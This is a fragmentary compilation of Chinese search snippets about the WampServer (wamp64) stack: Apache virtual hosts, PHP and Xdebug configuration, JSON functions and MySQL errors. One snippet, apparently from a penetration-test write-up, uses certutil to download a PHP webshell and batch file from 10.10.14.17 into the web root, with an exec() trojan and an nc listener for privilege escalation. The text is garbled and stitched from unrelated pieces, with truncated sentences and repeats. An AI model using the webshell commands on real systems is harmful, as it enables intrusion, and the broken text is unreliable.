/mysqld 返回以下错误 2020-03-08T12:13:19.585857Z 0 [System] [MY-010116] [Server] C:\wamp64\bin\mysql\mysql8.0.18 process 3132 2020-03-08T12:13:19.813867Z 0 [Warning] [MY-010091] [Server] Can't create test file C:\wamp64 mysqld_tmp_file_case_insensitive_test.lower-test 2020-03-08T12:13:19.814672Z 0 [Warning] [MY-010091] [Server] Can't create test file C:\wamp64 mysqld_tmp_file_case_insensitive_test.lower-test 2020-03-08T12:13:19.815318Z 0 [ERROR] [MY-013276] [Server] Failed to set datadir to 'C:\wamp64 ERROR] [MY-010119] [Server] Aborting 2020-03-08T12:13:19.997084Z 0 [System] [MY-010910] [Server] C:\wamp64
最后才发现需要PHP的集成开发环境WAMP64 一、下载WAMP64 进入Wampserver 官网 网址:https://sourceforge.net/projects/wampserver/ 老样子还是点击Next进入下一步 选择安装路径只要不是系统盘即可,给文件夹命名为wamp64(等会方便好找),点击Next进入下一步。 这大概意思就是你要选择安装任意一个吗,这里选择是。 三、进入phpStorm选择php解释器 点击三个点进入配置 PHP可执行文件WAMP64\bin\php\php8.2.0\php.exe,按照这个路径配置即可,php8.2.0是解释器版本,
1.打开Apache的httpd.conf文件 文件路径在wamp安装路径下面的(wamp64\bin\apache\apache2.4.41\conf)里面,其他单独的Apache环境也在bin目录下面的同样的位置 2.打开Apache的httpd-vhosts.conf文件 文件路径在wamp安装路径下面的(wamp64\bin\apache\apache2.4.41\conf\extra)里面,其他单独的Apache 在文件中加入下面的代码, <VirtualHost *:80> DocumentRoot "E:\wamp64\www\demo\" #网站根目录的位置 ServerName www.text.com
apache2.4.x版本的配置,和以前的版本配置不同,通过百度搜索了很多结果不是特别合适,这里详细解释说明 打开wamp64/bin/apache/conf/httpd.conf文件,修改如下部分: 打开wamp64/bin/apache/conf/extra/httpd-vhosts.conf -------------------------------------------------- < VirtualHost *:80> ServerName localhost DocumentRoot D:/resp_application/wamp64/www <Directory "D:/resp_application/wamp64/www/"> Options +Indexes +Includes +FollowSymLinks +MultiViews
":[1,2], "attribute":{ "type":"男" } }'; var_dump(json_decode($json,true)); //返回结果 :\wamp64 class Foo{ public $foo_name = "chs"; } $json=new Foo(); var_dump(json_encode($json)); //打印结果 D:\wamp64 :string '{"foo_name":"chs"}' (length=18) 数组 $json=['name'=>'tes']; var_dump(json_encode($json)); D:\wamp64
Warning: mysqli_query() expects at least 2 parameters, 1 given in D:\wamp64\www\SET1\login.php on line 8 Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, null given in D:\wamp64\www\SET1
设默认情况下网站目录为D:/wamp64/www/test1 根据实际情况添加以下的配置(放在同一个vhost.conf中): <VirtualHost 127.0.0.1:80> #监听80端口 ServerAdmin root@localhost.com #网站管理员联系方式 DocumentRoot "D:/wamp64/www/test1" > #监听80端口 ServerAdmin root@test2.com #网站管理员联系方式 DocumentRoot "D:/wamp64
www.joshua317.com/article/280 一、下载 下载php8的thread safe版本,版本为php8.1.10 二、解压文件到指定目录 找到你的wamp安装目录如C:\MyProgram\wamp64 \,在C:\MyProgram\wamp64\bin\php目录下创建一个目录php8.1.10,把下载的文件解压到这个目录里。 三、修改配置文件 在C:\MyProgram\wamp64\bin\php\php8.1.10目录,拷贝php.ini-development,并重命名为php.ini 并打开下面扩展的注释,根据自己需要打开对应扩展 > 六、修改httpd.conf 在\MyProgram\wamp64\bin\apache\apache2.4.46\conf 目录下,找到httpd.conf 文件,搜索php7_module,更改为如下
(2)安装目录及图标 安装的时候一定要自己选目录哈,因为后来要找这个目录修改东西,我安装好的一个目录叫wamp64。 ? 安装完之后到桌面就是下面这个小图标啦: ? Includes +FollowSymLinks +MultiViews AllowOverride All Require local </Directory> </VirtualHost> (3)修改wamp64
apache配置,开放外网访问权限 ; XDEBUG Extension [xdebug] zend_extension ="c:/wamp64/bin/php/php5.6.25/zend_ext/php_xdebug %p xdebug.profiler_output_dir ="c:/wamp64/tmp" xdebug.show_local_vars=0 修改php.ini 把 xdebug.remote_enable 开放外网访问权限 其他方法: 把wamp安装目下找到apache的httpd.conf配置文件 如 C:\wamp64\bin\apache\apache2.4.23\conf\httpd.conf 查找 Require local ,修改为 Require all granted httpd-vhosts.conf文件 如:C:\wamp64\bin\apache\apache2.4.23\conf\extra
php%20phpinfo(); 可以清楚看见 H:\wamp64\www\web\trick1\index.php:5:string 'skyArray' (length=8) H:\wamp64\www
started=true get name,startname 可借助 Apache 服务完成提权操作 Windows Defender限制 查看当前用户对 wamp 根目录为何种权限 cacls C:\wamp64 >' > cmd.php certutil -urlcache -split -f http://10.10.14.17/cmd.php c:\wamp64\www\cmd.php 但是木马 cmd.php php echo exec("C:\wamp64\www\cmd.bat");? > 使用 certutil 上传 cmd.bat、cmd.php certutil -urlcache -split -f http://10.10.14.17/cmd.php c:\wamp64\www \cmd.php certutil -urlcache -split -f http://10.10.14.17/cmd.bat c:\wamp64\www\cmd.bat 在本地监听2345端口 nc
httpd.conf 的配置 我这里使用的是 Wamp 的 Apache 服务器,其配置在 C:\wamp64\bin\apache\apache2.4.33\conf 目录下,然后修改配置如下: 将编译完的 exe 文件修改为 cgi 的扩展名,放入 CGI 的目录下(我这里是 C:\wamp64\cgi-bin),然后在浏览器中输入地址 http://localhost/cgi-bin/test.cgi
(2)安装目录及图标 安装的时候一定要自己选目录哈,因为后来要找这个目录修改东西,我安装好的一个目录叫wamp64。 ? 安装完之后到桌面就是下面这个小图标啦: ? Includes +FollowSymLinks +MultiViews AllowOverride All Require local </Directory> </VirtualHost> (3)修改wamp64
Installation Instructions ; xdebug 配置 debug 的简单配置,打开PHP配置文件php.ini(配置完成记得重启php) # 必填项 zend_extension = "D:/wamp64 XDEBUG_SESSION_START 的值,是通知 PHP 开启调试的标识) # 可选项 xdebug.remote_port = 9005 (监听的端口) xdebug.remote_log="D:/wamp64
Installation Instructions ; xdebug 配置 debug 的简单配置,打开PHP配置文件php.ini(配置完成记得重启php) # 必填项 zend_extension = "D:/wamp64 XDEBUG_SESSION_START 的值,是通知 PHP 开启调试的标识) # 可选项 xdebug.remote_port = 9005 (监听的端口) xdebug.remote_log="D:/wamp64
php $fp = fopen("C:\wamp64\www\text.txt",'w'); ?> 运行后报错,提示路径参数无效 ? 所以我们要把分隔符“\”换成“/”: <? php $fp = fopen("C:/wamp64/www/text.txt",'w'); ?> 运行时无报错,说明参数是有效的。 【注意】fopen函数不能理解“\”分隔符,如果你想要使用“\”,那么要使用转义,如写成:"C:\\wamp64\\www\\text.txt"这种写法也是可以的,函数也能理解,不会报错。 > 在设置了写操作的权限后,就能正常地写入文件了 运行后打开C:/wamp64/www/text.txt: ? 这次我们把权限设置为只读,并尝试写入文本:'在只读模式下写入' <? > 运行后打开C:/wamp64/www/text.txt,发现文件内容并没有改变,说明由于没有设置相应的权限,操作被忽略了 ?
打开D:\wamp64\bin\apache\apache2.4.27\conf\extra\httpd-vhosts.conf,本地的Apache路径要根据你具体的安装路径来决定, <VirtualHost
【C:\wamp64\bin\php\php7.2.14】 将此路径添加到环境变量中。
【实施工程师】Wampserver64橙色无法启动【apache】问题 可能会出现IP:port的问题 直接修改【wamp64\bin\apache\apache2.4.37\conf】 再刷一下服务